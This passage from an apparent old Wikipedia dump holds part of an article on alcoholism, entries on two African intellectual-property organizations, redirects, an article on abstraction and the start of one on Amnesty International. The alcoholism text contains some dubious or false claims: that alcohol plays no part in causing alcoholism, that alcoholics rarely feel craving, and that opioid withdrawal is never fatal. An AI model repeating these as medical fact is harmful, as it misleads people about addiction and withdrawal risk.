The biological mechanism of alcoholism is unknown, although the biologic mechanism of alcohol metabolism and alcohol-induced behavioral change is well-described in the literature. Alcohol itself is not a factor in the development of this condition, however, or one would be able to turn a non-alcoholic into an alcoholic through the provision of alcohol (the literature has demonstrated that this is impossible).

==As a &quot;disease&quot;==
The American Society of Addiction Medicine and the American Medical Association both maintain extensive policy regarding alcoholism. The [[American Psychiatric Association]] recognizes the existence of &quot;alcoholism&quot; as the equivalent of alcohol dependence.  With the publication of the DSM-III in 1980, two separate syndromes of ''alcohol dependence'' and ''alcohol abuse'' replaced the earlier category of alcoholism.  The World Health Organization dropped the diagnostic category &quot;alcoholism&quot; in 1979, replacing it with the diagnostic categories &quot;alcohol dependence&quot; and &quot;harmful use&quot; (ICD-9, 
ICD-10)[http://alcoholism.about.com/cs/alerts/l/blnaa30.htm]. The [[American Hospital Association]], the [http://www.apha.org American Public Health Association], the [[National Association of Social Workers]], and the [[American College of Physicians]] classify &quot;alcoholism&quot; as a [[disease]].

[[Image:Stop_drinking.jpg|thumb|250px|Polish propaganda poster saying: &quot;Stop drinking! Come with us and build a happy tomorrow.&quot;]] The causes for alcohol abuse and dependence cannot be easily explained. However, the belief that the roots are from moral or ethical weakness on the part of the sufferer has been largely altered. A 1995 [[Gallup Poll]] found that 90% of Americans currently believe that &quot;alcoholism&quot; is a [[disease]].{{fact}}

In contrast, in a 1988 U.S. Supreme Court decision on whether alcoholism is a condition for which the U.S. Veterans Administration should provide benefits, Justice Byron R. White agrees with the U.S. District Court that there exists &quot;a substantial body of medical literature that even contests the proposition that alcoholism is a disease, much less that it is a disease for which the victim bears no responsibility.&quot; [4][5]

Whether or not alcoholism is a disease remains a controversial subject, and not all participants in the debate are without self-interest. For example, if alcoholism is not considered a disease, third-party payments to physicians and hospitals for its treatment might cease.

==Effects==

{{seealso2|Effects of alcohol on the body|Alcohol consumption and health}}
The use of alcohol in alcoholic conditions may have impact upon physical, occupational, marital, educational, and other areas of function. The condition can be lifelong but can be sometimes treated through ongoing therapy accompanied by attendance at self-help meetings. 


== Social impact ==

Today, alcohol abuse and alcohol dependence are major [[public health]] problems in [[North America]], costing the region's inhabitants, by some estimates, as much as [[US dollar|US$]]170 [[billion]] annually. Alcohol abuse and alcohol dependence are life-threatening problems that sometimes end in death, particularly through [[liver]], [[pancreas|pancreatic]], or [[kidney]] disease, internal bleeding, [[brain]] deterioration, [[alcohol poisoning]], and [[suicide]].  Heavy alcohol consumption by a pregnant mother can also lead to [[fetal alcohol syndrome]], an incurable and damaging condition.

Additionally, alcohol abuse and alcohol dependence are major contributing factors for [[head injury|head injuries]], [[motor vehicle accident]]s (MVA), violence and assaults, [[neurology|neurological]], and other [[medicine|medical]] problems ([[cirrhosis]], etc.).

Of the one half of the North American population who consume alcohol, it has been estimated by some that 10% are alcohol abusers and alcohol dependents, and 6% consume more than half of all alcohol.

[[Stereotype]]s of alcohol abusers and alcohol dependents are often found in [[fiction]] and [[popular culture]]: for example the &quot;[[town drunk]],&quot; or the [[stereotype]] of [[Russians]] and the [[Irish ethnicity|Irish]] as alcoholics. In modern times, the recovery movement has led to more realistic portraits of abusers and dependents and their problems, such as in [[Charles R. Jackson]]'s ''[[The Lost Weekend]]'', or the films ''[[Days of Wine and Roses (movie)|Days of Wine and Roses]]'', and ''[[My Name is Bill W]]'' or the extreme &quot;[[Leaving Las Vegas]]&quot;. [[Charles Bukowski]] describes honestly his alcohol addiction in the movie ''[[Barfly]]'' and in his other writings.
Alcohol dependence can be harder to break and significantly more damaging than dependence on most other addictive substances. The physical symptoms when withdrawing from alcohol can be quite severe and dangerous, with death reported in extreme cases.

The alcoholic personality can exhibit a radical change when they drink, from passive when sober to aggressive when drunk, though the reverse can also be true. 

An alcoholic does not have to be someone who is drunk every night, and a functional alcoholic can have largely normal work and family relationships. However, alcohol represents a major or the major focus of their lives.

===Long-term===
The long-term effects of high quantity alcohol use can include: 
* [[pancreatitis]], or inflammation of the [[pancreas]] (but the [[acute pancreatitis|acute]] and [[chronic pancreatitis|chronic]] form)
* [[heart disease]], including [[dilated cardiomyopathy]]
* [[polyneuropathy]], or damage to the [[nerves]] leading to poor sensation or pain
* [[cirrhosis]] of the [[liver]], a chronic disease characterized by destruction of liver cells and loss of liver function, and its numerous complications, including bleeding from [[esophageal varices]]
* [[clinical depression|depression]], [[insomnia]], [[anxiety]], and [[suicide]]
* [[hypertension]] (high blood pressure)
* increased incidence of many types of [[cancer]], including [[breast cancer]], [[head and neck cancer]], [[esophageal cancer]] and [[colorectal cancer]]
* [[nutritional deficiency]] of [[folic acid]], [[thiamine]] (vitamin B1) and several others
* [[Wernicke-Korsakoff syndrome]], a neuropsychiatric disorder caused by thiamine deficiency that results from poor nutrition in alcoholics
*[[personality]] changes toward others, especially those who are close
* significant damage to occupational, social, and interpersonal areas, including [[sexual dysfunction]]
*[[gait ataxia]] due to damage to the [[superior vermis]]

==Screening==
Several tools may be used to detect the habitual abuse of alcohol. The CAGE questionnaire, developed by Dr. John Ewing and named for its four questions, is one such example that may be used to screen patients quickly in a doctor's office.

Two &quot;yes&quot; responses indicate that the respondent should be investigated further.

The questionnaire asks the following questions:
# Have you ever felt you needed to '''C'''ut down on your drinking?
# Have people '''A'''nnoyed you by criticising your drinking?
# Have you ever felt '''G'''uilty about drinking?
# Have you ever felt you needed a drink first thing in the morning ('''E'''ye-opener) to steady your nerves or to get rid of a hangover?

Another screening questionnaire is the Alcohol Use Disorders Identification Test (AUDIT), developed by the World Health Organization.

The Alcohol Dependence Data Questionnaire [http://eib.emcdda.eu.int/index.cfm?fuseaction=public.Content&amp;nNodeID=3556&amp;sLanguageISO=EN] is a more sensitive diagnostic test than the CAGE test. The Alcohol Dependence Data Questionnaire serves to distinguish a diagnosis of alcohol dependence from one of alcohol abuse.

==Blood tests==
Although there is no [[blood test]] specific for alcohol abuse or alcohol dependence (alcoholism), prolonged heavy alcohol consumption may lead to several abnormalities, including:
*[[Macrocytosis]] (enlarged [[Mean corpuscular volume|MCV]])&lt;sup&gt;1&lt;/sup&gt;
*Elevated [[Gamma glutamyl transpeptidase|GGT]]&lt;sup&gt;2&lt;/sup&gt;
*Moderate elevation of [[Aspartate transaminase|AST]] and [[Alanine transaminase|ALT]] and an AST:ALT ratio of 2:1.
*High [[carbohydrate-deficient transferrin]]&lt;sup&gt;2&lt;/sup&gt;

==Treatments==

=== Medications ===
 
Although medications have been developed to assist in the treatment of alcoholism, the research has not yet demonstrated long term efficacy for any specific methods of treatment. Alcoholics do not typically experience craving, unlike individuals afflicted with opioid dependence. Of importance is that frequency and quantity of alcohol use are not related to alcoholism; that is, individuals can drink a great deal without necessarily being alcoholic, and alcoholics may drink minimally and/or infrequently. As described in Psychiatric Annals by Pagano et al (June 2005), &quot;alcoholism is a chronic, often progressive disease that can be fatal without intervention and treatment. 

=== Rationing ===

Rationing or other attempts to control use are inceasingly ineffective as [[pathological]] attachment to the drug develops. Use may continues despite serious adverse health, personal, work-related, and financial consequences. [[Comorbidity]], genetic, and psychosocial factors contribute to the risk of developing this disease.&quot; The lifetime prevalence of this condition was estimated in the mid-1990s at approximately 15% (DSM-IV-TR).

=== Detoxification ===

Treatments for alcohol dependence include [[detoxification]] programs run by medical institutions.  These may involve stays for a number of weeks
in specialized [[hospital]] wards where drugs  may be used to avoid [[withdrawal]] symptoms, which in severe cases may lead to [[death]].

=== Therapy ===

After detoxification, various forms of [[group therapy]] or [[psychotherapy]] can be used to deal with underlying psychological issues leading to alcohol dependence. Aversion therapies may be supported by drugs like [[Disulfiram]], which causes a strong and prompt [[hangover]] whenever alcohol is consumed. [[Naltrexone]] may improve compliance with abstinence planning. The standard pharmocopoeia of [[antidepressants]], anxiolytics, and other [[psychotropic]] drugs treat underlying [[mood disorder]]s, [[neurosis|neuroses]], and [[psychosis|psychoses]] associated with alcoholic symptoms.

In the mid-1930s, the mutual-help group-counselling approach to treatment began and has become very popular. [[Alcoholics Anonymous]] is possibly the best-known example of this movement. Other groups include [[LifeRing Secular Recovery]] and [[SMART Recovery]].

=== Prevention ===

Some programs attempt to help problem drinkers before they become dependents. These programs focus on harm-reduction and reducing alcohol intake as opposed to cold-turkey approaches.  One such program is called [[Moderation Management]].

=== Nutritional therapy ===

Another treatment program is based on nutritional therapy. Many alcohol dependents have [[insulin]] resistance syndrome, a metabolic disorder where the body's difficulty in processing [[sugar]]s causes an unsteady supply to the blood stream. While the disorder can be treated by a [[hypoglycemic]] diet, this can affect behaviour and emotions, side-effects often seen among alcohol dependents in treatment. The metabolic aspects of such dependence are often overlooked, resulting in poor treatment outcomes. See: [http://www.hypoglycemia.asn.au]

=== Return to normal drinking ===

Although it has long been argued that alcoholic dependents cannot learn to drink in moderation, research by the U.S. national Institute on Alcohol Abuse and Alcoholism (NIAAA) indicates that about 18% of such individuals in the US whose dependence began more than one year earlier are now drinking in moderation.

==Social impact==
[[Image:Daddydontdrink.jpeg|thumb|right|220px|A Soviet poster reading &quot;Daddy, don't drink&quot;, referring to the massive alcohol abuse  problem in Russia]]The social problems arising from alcohol abuse can include loss of employment, financial problems, marital conflict and divorce, convictions for crimes such as drunk driving or public disorder, loss of accommodation, and loss of respect from others who may see the problem as self-inflicted and easily avoided.  Alcohol dependence affects not only the addicted but can profoundly impact the family members around them.  Children of alcohol dependents can be affected even after they are grown; the behaviors commonly exhibited by such children are collectively known as [[Adult Children of Alcoholics Syndrome]]. [[Al-Anon/Alateen]], a group modelled after Alcoholics Anonymous, offers aid to friends and family members of alcohol dependents.

Many people incorrectly assume that once an alcohol dependent stops drinking, all is well.  However, many people, especially members of Alcoholics Anonymous who have stopped drinking still refer to themselves as &quot;alcoholics&quot; or &quot;recovering alcoholics.&quot;

==Social versus physical dependence==
Symptoms of a person's dependence on alcohol may include, but are not limited to, a feeling of necessity in regard to consumption of alcohol, or an inability to resist alcohol if offered. Though these symptoms often arise from a physical dependence on the substance, it is not uncommon for individuals, especially teenagers and adolescents between the ages of fifteen and twenty, to rely on alcohol as a means of social interaction. If a person cannot refuse alcohol in the presence of others, insists on drinking alcohol excessively for fear of alienation and neglect, or feels they cannot socially interact with others unless under the influence then this person is considered socially dependent on the substance.

These traits can be noticed in individuals with no history of alcohol consumption. Moving, for example as  a student newly attending university, can lead to drinking in order to associate with others. Social dependence, though not physically threatening in early stages, can lead to physical dependence if the person cannot control their urges. &quot;Urges&quot; may be for sense of euphoria, brought on in those with a low tolerance to alcohol by about 2-3 standard drinks in a short period of time. Over time, the amount of alcohol needed to achieve the same affect increases as tolerance increases.

A persons &quot;social dependence&quot; is defined by the Prevention Research Institute from Kentucky (www.askpri.com) as a condition that a person experiences and re-experiences in a social setting. It reflects the habitual experiences one has as they enjoy &quot;partying&quot; with the same people.

==Politics and public health==
Because alcohol abuse affects society as a whole, governments and parliaments have formed alcohol policies in order to reduce the harm of alcoholism. The World Health Organization, the European Union and other regional bodies are working on alcohol action plans and programs.

Organisations working with alcohol abusers include:

* [[Alcoholics Anonymous]] (AA)
* [[IOGT International]] (IOGT)
* [[LifeRing Secular Recovery]] (LifeRing)
* [[Men For Sobriety]] (MFS)
* [[Moderation Management]] (MM)
* [[Rational Recovery]] (RR)
* [[Secular Organizations for Sobriety]] (SOS)
* [[SMART Recovery | Self-Management and Recovery Training]] (SMART)
* [[Women For Sobriety]] (WFS)

==Alcohol withdrawal==
There are several distinct but not mutually exclusive clinical [[alcohol withdrawal syndrome]]s caused by alcohol withdrawal:
* Tremulousness - &quot;the shakes&quot;
* Activation syndrome - characterized by tremulousness, agitation, rapid heart beat and [[high blood pressure]].
* [[Seizures]] - acute [[grand mal seizure]]s can occur in alcohol withdrawal in patients who have no history of seizure or any structural brain disease.
* [[Hallucinations]] - usually visual or tactile in alcoholics
* ''[[Delirium tremens]]'' - can be severe and often fatal.

Unlike withdrawal from [[opioid|opioids]] such as [[heroin]], which can be unpleasant but never fatal, alcohol withdrawal can kill (by uncontrolled convulsions or delirium tremens) if it is not properly managed. The pharmacological management of alcohol withdrawal is based on the fact that alcohol, [[barbiturates]], and [[benzodiazepine|benzodiazepines]] have remarkably similar effects on the brain and can be substituted for each other. Since benzodiazepines are the safest of the three classes of drugs, alcohol consumption is terminated and a long-acting benzodiazepine is substituted to block the alcohol withdrawal syndrome. The benzodiazepine dosage is then tapered slowly over a period of days or weeks.

==See also==
* [[Alcoholics Anonymous]]
* [[Drunkenness]]
* ''[[Delirium tremens]]''
* [[Wernicke-Korsakoff syndrome]]
* [[Beer]]
* [[Public house]]
* [[Beer belly]]
* [[Blind drunk]]
* [[List of famous deaths through alcohol]]
* [[List of fictional alcoholics]]
* [[Alcohol-related traffic crashes]]
* [[Alcohol tolerance]]
* [[Liver function tests]]
* [[Full blood count]]
*''[[Leaving Las Vegas]]'' (1995)
*''[[When a Man Loves a Woman]]'' (1994)

==External links==
* [http://counsellingresource.com/quizzes/alcohol-mast/index.html Online Screening Test for Alcohol Abuse]
* [http://atoz.iqhealth.com/HealthAnswers/encyclopedia/HTMLfiles/2790.html Alcohol dependence at iqhealth.com]
* [http://www.mental-health-matters.com/disorders/dis_details.php?disID=4 Mental Health Matters: Alcohol Addiction]
* [http://www.psychforums.com/forums/viewforum.php?f=152 Psych Forums: Alcohol Addiction Forum]
* [http://www.alkoholpolitik.ch: Independent private site in German with some English texts]
* [http://health.dailynewscentral.com/content/view/0001478/31//alcohol_tolerance_genetic.html Alcohol Tolerance May Be Genetic] health.dailynewscentral.com
* [http://www.lifewisewa.com/pdfs/012695.pdf CAGE Questionnaire (PDF)]
* [http://www.alcoholics-anonymous.org/ Alcoholics Anonymous]
* [http://www2.potsdam.edu/hansondj/DrinkTooMuch.html Drink Too Much?]
* [http://www.drugrehab101.com/directory.html Alcohol treatment centers]
* [http://www.unhooked.com/ LifeRing Secular Recovery]
* [http://www.nicd.us/ NICD: Alcoholism/addiction resources, treatment locator, family assistance and help]
* [http://www2.potsdam.edu/hansondj/Controversies/1109212610.html Alcoholics can Drink in Moderation]

==References==
# Tonnesen H, Hejberg L, Frobenius S, Andersen JR. Erythrocyte mean cell volume--correlation to drinking pattern in heavy alcoholics. Acta Med Scand. 1986;219(5):515-8. ([http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=3739755&amp;dopt=Abstract Medline abstract])
# Schwan R, Albuisson E, Malet L, Loiseaux MN, Reynaud M, Schellenberg F, Brousse G, Llorca PM. The use of biological laboratory markers in the diagnosis of alcohol misuse: an evidence-based approach. Drug Alcohol Depend. 2004 Jun 11;74(3):273-9. ([http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15194205 Medline abstract])
# Ewing, John A. “Detecting Alcoholism: The CAGE Questionnaire” JAMA 252: 1905-1907, 1984
# U.S Supreme Court, Traynor v Turnage, 485 U.S 353 (1988) at 535-550
# 253 U.S Appellate District Court at 132-133
 
[[Category:Alcohol_abuse]]
[[Category:Drinking culture]]
[[Category:Social stigma]]

[[ca:Alcoholisme]]
[[cs:Alkoholismus]]
[[da:Alkoholisme]]
[[de:Alkoholkrankheit]]
[[es:Alcoholismo]]
[[eo:Alkoholismo]]
[[fr:Alcoolisme]]
[[ko:술 중독]]
[[is:Alkóhólismi]]
[[it:Alcolismo]]
[[he:אלכוהוליזם]]
[[jv:Alkoholisme]]
[[nl:Alcoholisme]]
[[ja:アルコール依存症]]
[[no:Alkoholisme]]
[[pl:Alkoholizm]]
[[pt:Alcoolismo]]
[[ru:Алкоголизм]]
[[sk:Alkoholizmus]]
[[sl:Alkoholizem]]
[[fi:Alkoholismi]]
[[sv:Alkoholism]]
[[vi:Chứng nghiện rượu]]
[[tr:Alkolizm]]
[[zh:酗酒]]</text>
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  </page>
  <page>
    <title>African Regional Intellectual Property Organization</title>
    <id>2966</id>
    <revision>
      <id>39591331</id>
      <timestamp>2006-02-14T14:34:21Z</timestamp>
      <contributor>
        <ip>62.173.88.59</ip>
      </contributor>
      <text xml:space="preserve">The '''[[Africa]]n Regional [[Intellectual Property]] Organization''' ('''ARIPO'''), formerly '''African Regional Industrial Property Organization''', is an intergovernmental international organization established to enable cooperation between African states in [[patent]] and other industrial property matters. It has the capacity to hear applications for patents and registered [[trademark]]s in its member states who are parties to the Harare (patents) and Banjul (marks) protocols. It has the [[World Intellectual Property Organization|WIPO]] ST.3 code AP.

Its 15 member states are mostly [[English language|English]]-speaking countries.

The name of the organization changed from ''African Regional Industrial Property Organization'' to ''African Regional Intellectual Property Organization'' in 2005.

==See also==
* ''[[Organisation Africaine de la Propriété Intellectuelle]]'' (OAPI)

==External links==
*[http://www.aripo.org Official website]
*[http://www.aripo.wipo.net/membership.html List of members]
{{africa-stub}}
[[Category:Intellectual property organizations]]</text>
    </revision>
  </page>
  <page>
    <title>Organisation Africaine de la Propriété Intellectuelle</title>
    <id>2968</id>
    <revision>
      <id>15901346</id>
      <timestamp>2005-06-13T07:25:18Z</timestamp>
      <contributor>
        <username>Edcolins</username>
        <id>51336</id>
      </contributor>
      <minor />
      <comment>ARIPO changed its name</comment>
      <text xml:space="preserve">The '''''Organisation Africaine de la Propriété Intellectuelle''''' or '''OAPI''' ([[English language|English]]: '''African Intellectual Property Organization''') is an [[intellectual property organization]], headquartered in [[Cameroon]]. The organisation was created by [[Bangui]] Agreement of [[March 2]], [[1977]].

Its 16 member states are mostly [[French language|French]]-speaking countries.

==See also==
* [[African Regional Intellectual Property Organization]] (ARIPO)

==External links==
*[http://www.oapi.wipo.net/ Official website]
*[http://www.oapi.wipo.net/en/about/history.html History and list of members states]
*[http://www.oapi.wipo.net/en/textes/pdf/accord_bangui.pdf Bangui Agreement]
{{africa-stub}}
[[Category:Intellectual property organizations]]</text>
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  </page>
  <page>
    <title>Aurora borealis</title>
    <id>2969</id>
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      <id>15901347</id>
      <timestamp>2005-06-12T20:11:11Z</timestamp>
      <contributor>
        <username>Curps</username>
        <id>44727</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Aurora (astronomy)]]</text>
    </revision>
  </page>
  <page>
    <title>Aurora australis</title>
    <id>2970</id>
    <revision>
      <id>42131137</id>
      <timestamp>2006-03-04T00:51:32Z</timestamp>
      <contributor>
        <username>Kingboyk</username>
        <id>411305</id>
      </contributor>
      <comment>Redirect, most if not all incoming links (including from a featured picture listed on the FRONT PAGE) are for the aurora, not the boat. A 2 entry dab is not necessary imho.</comment>
      <text xml:space="preserve">#redirect [[Aurora (astronomy)]]</text>
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  </page>
  <page>
    <title>Abstraction in object-oriented programming</title>
    <id>2971</id>
    <revision>
      <id>15901349</id>
      <timestamp>2003-05-02T00:41:21Z</timestamp>
      <contributor>
        <username>TakuyaMurata</username>
        <id>6707</id>
      </contributor>
      <comment>merge it to abstraction in computer science</comment>
      <text xml:space="preserve">#REDIRECT [[abstraction (computer science)]]</text>
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  </page>
  <page>
    <title>Abstraction</title>
    <id>2972</id>
    <revision>
      <id>39912483</id>
      <timestamp>2006-02-16T19:52:38Z</timestamp>
      <contributor>
        <username>Rodasmith</username>
        <id>291611</id>
      </contributor>
      <comment>rv vandalism</comment>
      <text xml:space="preserve">{{dablink|This article is about the concept of '''abstraction''' in general.  For other senses of the word &quot;abstract&quot;, see [[abstract]].}}
&lt;!--
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--&gt;
An '''abstraction''' is an idea, conceptualization, or word for the collection of qualities that identify the [[#Referents|referent]] of a word used to describe [[Concrete (philosophy)|concrete]] [[Object (philosophy)|objects]] or [[phenomenon|phenomena]]. For example, the abstraction ''applehood'' could be the collection of qualities that might characterize the referent of the word &quot;apple&quot; in the phrase &quot;the apple on the table&quot;.

==Thought process==
In [[philosophy|philosophical terminology]], ''abstraction'' is the [[Thinking|thought process]] wherein [[idea]]s are distanced from [[Object (philosophy)|object]]s. 

Abstraction uses a [[strategy]] of simplification, wherein formerly concrete details are left ambiguous, vague, or undefined; thus effective [[communication]] about things in the abstract requires an [[intuitive]] or common experience between the communicator and the communication recipient.

[[Image:JerryFelix.JPG|right|thumb|100px|Cat on Mat ''(picture 1)'']] 
For example, many different things can be [[red]]. Likewise, many things sit on surfaces (as in ''picture 1'', to the right).  The property of ''[[red]]ness'' and the [[relation]] ''[[Sitting|sitting-on]]'' are therefore abstractions of those objects. Specifically, the conceptual diagram ''graph 1'' identifies only three boxes, two ellipses, and four arrows (and their nine labels), whereas the ''picture 1'' shows much more pictorial detail, with the scores of implied relationships as implicit in the picture rather than with the nine explicit details in the graph.

''Graph 1'' details some explicit relationships between the objects of the diagram. For example the arrow between the ''agent'' and ''CAT:Elsie'' depicts an example of an ''[[is-a]]'' relationship, as does the arrow between the ''location'' and the ''MAT''. The arrows between the [[gerund]] ''SITTING'' and the [[noun]]s ''agent'' and ''location'' express the [[diagram]]'s basic relationship; ''&quot;agent is SITTING on location&quot;''; ''Elsie'' is an instance of ''CAT''.

[[Image:Cat-on-mat.GIF|thumb|250px|[[Conceptual graph]] for A Cat sitting on the Mat ''(graph 1)'']]
Although the description ''sitting-on'' (graph 1) is more abstract than the graphic image of a cat sitting on a mat (picture 1), the delineation of abstract things from concrete things is somewhat ambiguous; this ambiguity or vagueness is characteristic of abstraction. Thus something as simple as a newspaper might be specified to six levels, as in [[Douglas R. Hofstadter]]'s illustration of that ambiguity, with a progression from abstract to concrete in ''[[Gödel, Escher, Bach]]'' (1979):
&lt;blockquote&gt;
(1) a publication
:(2) a newspaper
::(3) ''The San Francisco Chronicle''
:::(4) the May 18 edition of the ''Chronicle''
::::(5) my copy of the May 18 edition of the ''Chronicle''
:::::(6) my copy of the May 18 edition of the ''Chronicle'' as it was when I first picked it up (as contrasted with my copy as it was a few days later: in my fireplace, burning)
&lt;/blockquote&gt;
An abstraction can thus encapsulate each of these levels of detail with no loss of generality. But perhaps a detective or philosopher/scientist might seek to learn about some thing, at progressively deeper levels of detail, to solve a crime or a puzzle.

==Referents==
Abstractions sometimes have ambiguous [[referent]]s; for example, &quot;[[happiness]]&quot; (when used as an abstraction) can refer to as many things as there are people and events or [[states of being]] which make them happy. Likewise, &quot;[[architecture]]&quot; refers not only to the design of safe, functional buildings, but also to elements of [[creation]] and [[innovation]] which aim at elegant solutions to [[construction]] problems, to the use of space, and at its best, to the attempt to evoke an [[emotion|emotional response]] in the builders, owners, viewers and users of the building.&lt;!--See discussion pages 3 to 12 in Eugene Raskin, ''Architecturally Speaking, 2nd edition'', a Delta book, Dell (1966), trade paperback, 129 pages --&gt;

===Instantiation===
Things that do not exist at any particular place and time are often considered abstract. By contrast, instances, or members, of such an abstract thing might exist in many different places and times. Those abstract things are then said to be ''multiply instantiated'', in the sense of ''picture 1'', ''picture 2'', etc., shown above.

It is not sufficient, however, to define ''abstract'' ideas as those that can be instantiated and to define ''abstraction'' as the movement in the opposite direction to instantiation. Doing so would make the concepts 'cat' and 'telephone' abstract ideas since despite their varying appearances, a particular cat or a particular telephone is an instance of the concept &quot;cat&quot; or the concept &quot;telephone&quot;. Although the concepts &quot;cat&quot; and &quot;telephone&quot; are ''abstractions'', they are not ''abstract'' in the sense of the objects in ''graph 1'' above. 

&lt;!-- What is the following paragraph trying to clarify? --&gt;
We might look at other graphs, in a progression from ''cat'' to ''mammal'' to ''animal'', and see that ''animal'' is more abstract than ''mammal''; but on the other hand ''mammal'' is a harder idea to express, certainly in relation to ''[[marsupial]]''.

===Physicality===
A physical object (the referrent of a concept or word) is considered ''concrete'' (not abstract) if it is a ''particular individual'' that occupies a particular place and time.

Abstract things are sometimes defined as those things that do not exist in [[reality]] or exist only as sensory experience, like the color [[red]]. That definition, however, suffers from the difficulty of deciding which things are real (i.e. which things exist in reality). For example, it is difficult to agree to whether concepts like ''God'', ''the number three'', and ''goodness'' are real, abstract, or both.

An approach to resolving such difficulty is to use ''[[predicate]]s'' as a general term for whether things are variously real, abstract, concrete, or of a particular property (e.g. ''good''). Questions about the properties of things are then [[propositions]] about predicates, which propositions remain to be evaluated by the investigator. In the ''graph 1'' above, the graphical relationships like the arrows joining boxes and ellipses might denote predicates. Different levels of abstraction might be denoted by a progression of arrows joining boxes or ellipses in multiple rows, where the arrows point from one row to another, in a series of other graphs, say graph 2, etc.

==Abstraction used in philosophy==
Abstraction in [[philosophy]] is the process (or, to some, the alleged process) in [[concept-formation]] of recognizing some set of common features in [[individual]]s, and on that basis forming a concept of that feature. The notion of abstraction is important to understanding some philosophical controversies surrounding [[empiricism]] and the [[problem of universals]]. It has also recently become popular in formal logic under [[predicate abstraction]].

===Ontological status===
The way that physical objects, like rocks and trees, have [[Category of being|being]] differs from the way that properties of abstract concepts or relations have being, for example the way the [[Concrete (philosophy)|concrete]], [[particular]], [[individual]]s pictured in ''picture 1'' exist differs from the way the concepts illustrated in ''graph 1'' exist. That difference accounts for the [[ontology|ontological]] usefulness of the word &quot;abstract&quot;. The word applies to properties and relations to mark the fact that, if they exist, they do not exist in space or time, but that instances of them can exist, potentially in many different places and times.

Perhaps confusingly, some [[philosophy|philosophies]] refer to ''[[trope]]s'' (instances of properties) as ''[[abstract particular]]s''. E.g., the particular [[red]]ness of a particular [[apple]] is an ''abstract particular''.

===Reification===
[[Reification]], also called ''hypostatization'', might be considered a [[logical fallacy]] whenever an abstract concept, such as &quot;society&quot; or &quot;technology&quot; is treated as if it were a concrete object. Reification occurs [[linguistics|linguistically]] in the [[English language]] and in many other [[language]]s wherein abstract concepts are referred to using the same sorts of [[noun]]s that signify concrete objects.  That aspect of language can blur the distinction between abstract and concrete things: 
:'''1805''': [[Horatio Nelson]] (''[[Battle of Trafalgar]]'') - &quot;[[England expects that every man will do his duty]]&quot;

===Compression===
&lt;!-- Is this section common knowledge or original research? --&gt;
An abstraction can be seen as a process of mapping multiple different pieces of [[constituent]] data to a single piece of abstract data based on similarities in the constituent data, for example many different physical cats map to the abstraction &quot;CAT&quot;.  This conceptual scheme emphasizes the inherent equality of both constituent and abstract data, thus avoiding problems arising from the distinction between &quot;abstract&quot; and &quot;[[Concrete (philosophy)|concrete]]&quot;.  In this sense the process of abstraction entails the identification of similarities between objects and the process of associating these objects with an abstraction (which is itself an object). 
:For example, ''picture 1'' above illustrates the concrete relationship &quot;Cat sits on Mat&quot;.
Chains of abstractions can therefore be constructed moving from neural impulses arising from sensory [[perception]] to basic abstractions such as color or [[shape]] to experiential abstractions such as a specific cat to [[semantic]] abstractions such as the &quot;idea&quot; of a CAT to classes of objects such as &quot;mammals&quot; and even categories such as &quot;object&quot; as opposed to &quot;action&quot;. 
:For example, ''graph 1'' above expresses the abstraction &quot;agent sits on location&quot;.

This conceptual scheme entails no specific [[hierarchical]] [[taxonomy]] (such as the one mentioned involving cats and mammals), only a progressive [[compression]] of detail.

==The neurology of abstraction==
Some research into the human [[brain]] suggests that the left and right hemispheres differ in their handling of abstraction. One side handles collections of examples (eg: examples of a tree) whereas the other handles the concept itself.

==Abstraction in Art==
Most typically ''abstraction'' is used in the arts as a [[synonym]] of [[Abstract art]] in general. It can, however, refer to any object or image which has been distilled from the real world, or indeed another work.

Artist Robert Stark wrote,&quot;Ten years after abandoning formal landscape painting to explore the more direct act of freely applying paint to a surface without a representational motive, I have developed a new vocabulary; light and dark, warm and cool, making marks, brush-strokes like heart-rhythms. Every day is a test of each painting's ability to stand on its own. Each painting is subject to being changed, to being reworked or scraped and repainted as long as it remains in the studio. Where I often used to spend weeks on a painting, attempting to 'make a picture,' now my concerns are more about the energy of light, the mass of space, the emotions of shadows.

I want the painting to meet the viewer somewhere in the middle, where the viewer brings his own experiences to bear in understanding and feeling what he is seeing. I want my paintings to achieve the complexity and density of poetry or of a symphony, to build suggestive layers, implicit felt meaning, not merely to be entertaining bit of color to seduce the eye. I want my paintings to be accessible to children as well as adults, and to be so simply and directly painted that it shows the act of painting for the joy and excitement of it.&quot;

==See also==
{{col-begin}}
{{col-break}}
* [[Abstract art]]
* [[Abstraction (computer science)]]
* [[Abstraction (mathematics)]]
* [[Abstract structure]]
* [[Abstract (summary)]]
* [[Abstract interpretation]]
{{col-break}}
* [[Charles Peirce]]
* [[Gottlob Frege]]
* [[Hypostatic abstraction]]
* [[Model (abstract)]]
* [[Ontology]]
* [[Prescisive abstraction]]
{{col-end}}

== External links ==

* [http://www.utm.edu/research/iep/f/frege.htm Internet Encyclopedia of Philosophy: Gottlob Frege]
* [http://plato.stanford.edu/entries/abstract-objects/ Stanford Encyclopedia of Philosophy: Abstract Objects]
* [http://originresearch.com/sd/sd1.cfm Discussion at The Well concerning Abstraction hierarchy]
* [http://www.cs.hmc.edu/claremont/keller/webBook/ch01/sec01.html The Purpose of Abstraction  (a must read)]

==References==
* Eugene Raskin, ''Architecturally Speaking, 2nd edition'', a Delta book, Dell (1966), trade paperback, 129 pages
* ''The American Heritage Dictionary of the English Language, 3rd edition'', Houghton Mifflin (1992), hardcover, 2140 pages, ISBN 0395448956


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    <title>Amnesty International</title>
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      <comment>/* Freedom of Expression */ spelling and grammar</comment>
      <text xml:space="preserve">[[Image:Amnesty_Logo.gif|right|75px]]

'''Amnesty International''' (commonly known as '''Amnesty''' or  '''AI''') is an [[global|international]], [[non-governmental organization]] with the stated purpose of promoting all the [[human rights]] enshrined in the [[Universal Declaration of Human Rights]] and other international standards. In particular, Amnesty International campaigns to free all [[prisoner of conscience|prisoners of conscience]]; to ensure fair and prompt trials for [[political prisoner]]s; to abolish the [[death penalty]], [[torture]], and other treatment of prisoners it regards as cruel; to end [[political killing]]s and [[forced disappearance]]s; and to oppose all human rights abuses, whether by governments or by other groups.

==History==
